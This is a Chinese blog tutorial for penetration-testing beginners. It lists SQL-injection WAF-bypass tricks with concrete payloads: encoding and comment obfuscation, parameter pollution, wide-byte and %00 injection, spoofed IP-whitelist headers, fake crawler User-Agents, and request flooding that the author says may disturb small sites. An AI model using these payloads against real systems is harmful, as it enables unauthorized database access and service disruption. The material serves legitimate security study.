作者名:Demo不是emo
主页面链接:主页传送门
创作初心:对于计算机的学习者来说,初期的学习无疑是最迷茫和难以坚持的,中后期主要是经验和能力的提高,我也刚接触计算机1年,也在不断的探索,在CSDN写博客主要是为了分享自己的学习历程,学习方法,总结的经验等等,希望能帮助到大家
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构;每日emo:晚安,换个世界想你,待会见
本文分享了我自己总结的常规sql注入常规操作步骤,足够在日常sql渗透测试时使用,适合一些对渗透测试流程不是特别清晰的同学观看,会不定期更新并完善内容
目录
一.识别WAF类型
1.Nmap:
2.Waf00f:
3.拦截信息观察
二.观察服务器特性
1.ASP+IIS
(1)%特性:
(2)%u特性:
2.ASP+IIS和ASPX+IIS
(1)IIS服务器支持对unicode的解析
3.apache畸形绕过
(1)get替换
三:应用层特性
1.大小写绕过
2.关键字替换
3.双重编码
4.变换请求方式
5.HPP参数污染
(1)参数混淆
(2)参数拼接
(3)过滤逗号
(4)无效参数
(5)溢出形式
6.宽字节绕过
(1)gbk编码转换
四:WAF层特性:
1.逻辑问题
(1)cdn防护型
(2)数据混淆型
(3)错误配置型
(4)00截断型
2.性能问题
(1)数据量问题
(2)处理量问题
3.白名单
(1)ip白名单
(2)静态资源
(3)URL白名单
(4)爬虫白名单
五:mysql数据库特性
1.Mysql:
(1)常用:
(2)注入语句替换方式
(3)函数
用法: nmap -p 80 --script http-waf-fingerprint 网址
demo: nmap -p 80 --script http-waf- detect.nse www.baidu.com
用法:waf00f 网址,该工具kali自带
根据拦截界面一般可以观察出waf类型,但有的不行
如果网站后端语言是ASP,并且使用的IIS中间件,则有可能存在以下waf绕过姿势
就是在指令中插入%,导致waf层解析不出完整指令从而放行,但是在数据库层面运行时就可能被识别并解析出完整指令,就达到绕 过waf目的
例子:比如s%elect因为有%隔开,所以waf层可能识别结果就是s%elect,但是在数据库层面可能被识别并解析为select,所以就达到了绕过waf的目的
适用于用unicode编码绕过waf时, unicode编码被iis解析会换成multibyte编码,但是有几个不同的unicode编码会被换成同一个multibyte,而waf层可能只识别其中的一个unicode编码,所以此时换另一个unicode编码就有可能绕过waf的防护
例子:比如select的e对应的unicode编码为%u0065,但是%u00f0和%u0045同样会被化为e,waf可能只能识别其中的%u0065,所以此时我们换成%u00f0,就能成功绕过waf,但是iis解析时同样解析为e所以此时就可以理解为
select=s%u0045lect = s%u0065lect =%u00f0lect
下面为大家准备了常见的uncoide编码替换方案
常见三个关键字(union,select,from)的测试情况:
u --> %u0055 --> %u0075
n --> %u004e --> %u006e
i --> %u0049 --> %u0069
o --> %u004f --> %u006f --> %u00ba
s --> %u0053 --> %u0073
l --> %u004c --> %u006c
e --> %u0045 --> %u0065 --> %u00f0
c --> %u0043 --> %u0063
t --> %u0054 --> %u0074 --> %u00de --> %u00fe
f --> %u0046 --> %u0066
r --> %u0052 --> %u0072
m --> %u004d --> %u006d
比如对select命令进行unicode编码,可以的到s%u006c%u0006ect,iis接收时会对unicode编码解析,最后识别为select,但是waf层可能识别不了unicode编码
在GET请求发起的数据包中,GET可以替换为任意字符(一般替换成POST),不影响apahce接收参数id=2,即把请求包我圈上的的GET换成啥都行
这个就不需要多讲了,就是将命令中的字符进行一个大小写替换,有时能够绕过waf
例子:把select换成SeleCt(一般waf都会对这个有防护,但还是可以碰碰运气)
关键字替换在平时的渗透中使用的较多,主要是寻找同义函数,寻找替代品,一些关键字被防护拦截时就可以尝试替换
下面也为大家准备了一些常用的关键词替换
(1)and --> && --> or ---> xor --> || //(使用时需url编码)(xor只有一真一假才得真,其他都假)
(2)ascii() --> Hex() --> bin() -->ord()
(3)sleep() --> benchmark()
(4)substr() --> mid() --> substring()
(5)user() --> @@user
(6)version() -->@@version
(7)# --> --+ --> ;%00
(8)= --> in --> regexp --> like --> <>
对命令进行双重编码,unicode,base64,hex都可以尝试,有可能绕过waf的识别
(1)将以GET方式提交的数据通过修改发送的数据包换成以POST方式提交
(2)在POST请求中,可以将Post数据包转为multipart/form-data格式数据包(burp可以换)
就是注入的时候尝试加入更多参数并改变注入位置来混淆识别机制,假设现有有一个站点的注入点时www.xxxx/?id=1,详情如下(此操作对不同环境效果不同)
操作:
【1】. 加入更多混淆参数
例如:?id=1&id=2&id=3
【2】.在asp + iis环境的中:
系统识别到的真实的id等于1+2+3,即三个id的值会拼接作为接收到的id值,此时我们就可以将攻击命令拆分注入,达到绕过waf的目的
例如:?id=1 union&ID=select 1,2&Id=from admin,此时的真实id的值就是
1 union select 1 from admin
【3】.php+apache的环境中:
此时系统识别到的真实id=3,就是只识别最后一个id的值,前面的id都不管
get+post+cookie三个数据传输方式拼接的传参
?id=1 select 1,2,3,4 from admin可以修改为下面这种不需要逗号的格式
?id=1 union select 1&id=2&id=3&id=4 from admin
例如:?a=/*&sql=xxx&b=*/(无参数形式)
(a和b为无效参数,但a和b的值却构成了注释符(/**/),通过让waf以为这是注释里执行的就不拦截,但此时在a和b中间的参数进行注入就可以了)
溢出形式算是特别常用的一种注入手段,就是依靠缓存溢出机制,用大量的脏数据来使我们的攻击命令绕过waf的拦截
例如:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union select null,system_user,null from INFORMATION_SCHEMA.schemata
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
存在宽字节注入的原因是因为部分防护机制是使用addslashes函数,会在我们输入的非法字符前添加“\”,而“\”会与我们的恶意代码的第一个字符形成gbk编码格式被解析,导致我们注入不成功
例子:注入点:www.xxxx.com?id=1
如果跟正常渗透操作一样加一个单引号,此时他就会生成一个‘\’在单引号前面,成为“\'”跟单引号形成gbk编码
此时我们可以在'的前面加上%81,就会形成下面这样的状态
www.xxxx.com?id=1%81\'
此时%81就会跟生成的\形成gbk编码,即%81%5C,被GBK当做编码识别成为“乗”字,而单引号不受影响正常注入
在线gbk编码对照表:GBK 编码范围, GBK 编码表 (qqxiuzi.cn)
有的站点只有cdn有防护,所以我们可以通过查找真实ip,来绕过cdn防护
即get和post同时提交,有可能waf进入post逻辑,忽略get的有害参数
遇到https的站点时,有可能也同时开放了http服务,此时可能只有https有防护,只需要把url中的https换成http即可绕过
%00,部分waf无法识别%00之后的数据,此时可以id=1%00,后面放入注入语句
填充脏数据使数据达到一定量级,此时注入语句放在最后,比如传入多个参数其他参数,但是最后传入对的是正常参数
同一请求多次发送,有些waf性能较低即可绕过,直接burp一直发
注:这里的两个谨慎使用,可能会影响有些小网站的正常运行
有的waf会设置白名单方便管理员等人员访问与管理,假如此时你获取到了管理员的ip信息,就可以通过修改请求数据包中下面的参数(没有的话直接添加也可以)来绕过waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
常见的静态文件(.js .jpg .swf .css等等),因为部分管理员为了方便调用资源,就设置了后缀白名单,waf识别到之后就不会拦截,将请求的数据加上白名单中的静态资源后缀即可绕过waf
例如 :http://10.9.9.201/sql.php/1.js?id=1
这个原理也一样,有的管理员想要减少用于防护的费用,一些不重要的路径就不会进行cdn防护,而判断路径是否重要也是通过添加白名单的方式,只要检测出了在白名单中的路径,就会直接放行
步骤:直接另设一个参数,参数的值为一些路径,也可能绕过
这个就比较容易理解,很多网站为了在百度,Goole等搜索引擎里占更多权重,会把这类搜索引擎爬取网页时的UA头添加到白名单,此时只需要把我们的UA头换成搜索引擎的UA即可绕过waf
user-agent伪装成爬虫,下面我也给大家准备了一些常见搜索引擎的爬虫UA头
下面三个分别对应谷歌,百度,雅虎
UserAgent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
UserAgent: "Baiduspider+(+http://www.baidu.com/search/spider.htm)"
UserAgent: "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过: %23%0a、%2d%2d%0a
[1]空格常见替换方式
/**/
/*!12345union*/
/*anything*/
[2]空白字符
可添加在任意位置
%09,%0a,%0b,%0c,%0d,%20,%a0都可以替换
一般%a0和%0a合起来用比较多, 即%a0%0a
[3]将注入语句的数字换成浮点型
[4]将空格替换为1E0
[5]空格替换为/N
[6]用空格或者引号包裹函数
[7]特殊符号代替空格
一些时候空格也会称为waf判断的重要依据,所以我们也可以把空格替换成其他字符
下面就是我给大家准备的常见替换方式
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
[1]常见字符串截取函数
[2]常见字符串连接函数
[3]特殊字符被过滤
【1】limit的逗号
limit 1 offset 0
【2】字符串截取处的逗号
mid(version() from 1 for 1)
【3】union处的逗号
union select * from (select 1)a join (select 2)b join (select 3)c
【4】过滤了比较符号
greatest代替,greatest返回三个参数的最大值
[4]部分函数构造
【1】sleep:
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
本文适合渗透测试中的sql注入初学者,或者对sql注入一知半解的同学,这仅仅是一部分,最重要的一点是虽然这里的绕过姿势很多,但将这些姿势多层嵌套衍生出的各种魔术绕过方法往往才是实战中最好用的
渗透测试学习中,有什么问题可以在评论区或者私信我讨论,内容会不定期更新,欢迎收藏和留言 ,最后,感谢大家的阅读